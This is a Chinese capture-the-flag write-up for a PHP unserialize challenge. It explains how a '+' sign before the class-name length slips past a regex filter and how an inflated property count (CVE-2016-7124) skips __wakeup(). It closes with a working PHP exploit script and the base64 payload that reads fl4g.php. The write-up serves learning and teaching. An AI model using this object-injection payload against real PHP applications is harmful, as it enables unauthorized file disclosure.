[web] Web_php_unserialize

Web_php_unserialize


源码如下:
在这里插入图片描述
知识点:

1、__construct():当对象创建(new)时会自动调用。但在 unserialize() 时是不会自动调用的。(构造函数)
2、__destruct():当对象被销毁时会自动调用。(析构函数)
3、__wakeup():unserialize() 时会自动调用

4.  正则 : /[oc]:\d+:/i
	\d  是匹配一个数字
	+表示一个或多个
	i忽略大小写(修饰符)
	[xyz]字符集合,匹配所包含的任意一个字符(x,y,z)
	正则表达式中"/"是表达式开始和结束的标记
	
5. 	preg_match 返回1 / 0
	preg_match_all 返回 0/匹配次数
如 : preg_match("/php/i", "PHP is the web scripting language of choice.")
两个函数用法一样

flag在 fl4g.php

想到了正则表达式绕过, 但是就卡在这了.后面也没想到绕过正则后构造什么payload

这恰好是这题的两个考察点

反序列化绕过数字

"O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"

----> "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"

+号绕过

这里利用了 unserializer 的一个特性

具体可参考:

https://www.phpbug.cn/archives/32.html

https://www.guildhab.top/?p=990

绕过 __wakeup() 函数

参考:

CVE-2016-7124 https://bugs.php.net/bug.php?id=72663

创建对象之后 , 对对象的属性检查 , 若属性检查通过 , 就调用 __wakeup() 方法

若对象属性检查不通过 , 则会跳出 object_common2() 函数 , 不再调用 __wakeup() 函数 . 由于对象及其属性在 object_common1() 中已经被创建 , 因此这里对象将会被销毁 , 从而触发析构函数__destruct() .

因此这里我们仅需要破坏对象属性检查就可以绕过 __wakeup() 函数 , 最简单的方法就是增大对象属性的个数 , 使其饭序列化异常 .

PHP 7 中这部分代码被修改 ,无法再用该方式绕过 __wakeup() 方法

使反序列化的属性值改成大于真实值即可

如正常情况下: O:4:“Demo”:1:{s:10:" Demo file";s:8:“fl4g.php”;}

改为 O:4:“Demo”:999:{s:10:" Demo file";s:8:“fl4g.php”;}

serialize的特性

参考: https://www.cnblogs.com/webu/archive/2013/01/28/2879383.html 或者 https://blog.csdn.net/a5816138/article/details/53303299

  • 对象的序列化

对象(object)通常被序列化为:

O:<length>:"<class name>":<n>:{<field name 1><field value 1><field name 2><field value 2>...<field name n><field value n>}

其中<length> 表示对象的类名<class name> 的字符串长度。<n> 表示对象中的字段1个数。
这些字段包括在对象所在类及其祖先类中用var、public、protected 和private 声明的字段,但是不包括static 和const 声明的静态字段。也就是说只有实例(instance)字段。
<filed name 1>、<filed name 2>……<filed name n>表示每个字段的字段名,而<filed value 1>,<filed value 2>……<filed value n> 则表示与字段名所对应的字段值。
字段名是字符串型,序列化后格式与字符串型数据序列化后的格式相同。
字段值可以是任意类型,其序列化后的格式与其所对应的类型序列化后的格式相同。
但字段名的序列化与它们声明的可见性是有关的,下面重点讨论一下关于字段名的序列化。

对象字段名的序列化
var 和 public 声明的字段都是公共字段,因此它们的字段名的序列化格式是相同的。公共字段的字段名按照声明时的字段名进行序列化,但序列化后的字段名中不包括声明时的变量前缀符号$。
protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因
此保护字段的字段名在序列化时,字段名前面会加上 \0*\0 的前缀。这里的 \0 表示 ASCII 码为 0 的字符,而不是 \0 组合。
private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,字段名前面会加上 \0<declared class name>\0 的前缀。
这里 <declared class name> 表示的是声明该私有字段的类的类名,而不是被序列化的对象的类名。因为声明该私有字段的类不一定是被序列化的对象的类,而有可能是它的祖先类。
字段名被作为字符串序列化时,字符串值中包括根据其可见性所加的前缀。字符串长度也包括所加前缀的长度。其中\0 字符也是计算长度的。

做题时复制序列化的东西会出错,应该和\0有关 , 00截断了

EXP

<?php
class Demo {
    private $file = 'index.php';
    public function __construct($file) {
        $this->file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'index.php') {
            //the secret is in the fl4g.php
            $this->file = 'index.php';
        }
    }
}
$test=new Demo("fl4g.php");
$a=serialize($test);
$a=str_replace('O:4','O:+4',$a);
$a=str_replace('1:{','2:{',$a);
echo base64_encode($a);
?>
TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==

猜你喜欢

转载自blog.csdn.net/weixin_45551083/article/details/107115626
web